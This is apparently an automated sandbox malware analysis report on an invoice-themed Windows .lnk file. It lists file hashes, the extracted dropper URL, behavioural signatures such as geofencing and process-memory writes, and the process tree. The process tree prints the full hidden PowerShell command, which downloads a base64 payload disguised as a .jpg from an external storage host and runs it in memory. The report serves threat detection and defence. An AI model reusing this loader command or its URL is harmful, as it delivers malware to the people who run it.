Analysis
- max time kernel
149s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
09/09/2026, 00:16
Static task
static1
Behavioral task
behavioral1
Sample
Factura_N20260909-001655.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Factura_N20260909-001655.lnk
Resource
win11ltsc2024-20260710-en
General
- Target Factura_N20260909-001655.lnk
- Size 2KB
- Sample260909-aky2dsac83
- SHA256 2f868e417f6c2d081e47ed285d2c2a3d64e730915fd1137a31d6eb5c02141bf4
- MD5 5718b209cb126277cdbb5287d4448614
- SHA1 b9d2c693b67d46e368f641d8f03b0fa0b39ad769
- SHA512 adbd83a9b0ec04cf3da7b82a174549b2b9cc20665fe54d3711850567e8746fabfd0e283aa289b236424cc8b4b54db0bc7ac79b872f0ec2ade9b110788c47160b
- TLSH T1C141661023FD4718F2B35F7A68BAEA604A76FD61EA21DA6D0150519C88A1B40ADB0F37
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/b3f95c74/01.jpg?HCuWycWLt27Yj6jaZRE
Signatures
- Badlisted process makes network request 18 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 4996 powershell.exe 9 4996 powershell.exe 30 4996 powershell.exe 31 4996 powershell.exe 56 4996 powershell.exe 57 4996 powershell.exe 58 4996 powershell.exe 59 4996 powershell.exe 66 4996 powershell.exe 67 4996 powershell.exe 80 4996 powershell.exe 81 4996 powershell.exe 82 4996 powershell.exe 83 4996 powershell.exe 88 4996 powershell.exe 89 4996 powershell.exe 92 4996 powershell.exe 95 4996 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4996 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation cmd.exe - Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 4488 cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3600 cmd.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4996 powershell.exe 4996 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4996 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3600 wrote to memory of 4488 3600 cmd.exe 84 PID 4488 wrote to memory of 4996 4488 cmd.exe 85
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Factura_N20260909-001655.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell.exe -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/b3f95c74/01.jpg?HCuWycWLt27Yj6jaZRE'))).EntryPoint.Invoke($null,$null)"2⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/b3f95c74/01.jpg?HCuWycWLt27Yj6jaZRE'))).EntryPoint.Invoke($null,$null)"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4996
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yaj43aky.bk5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH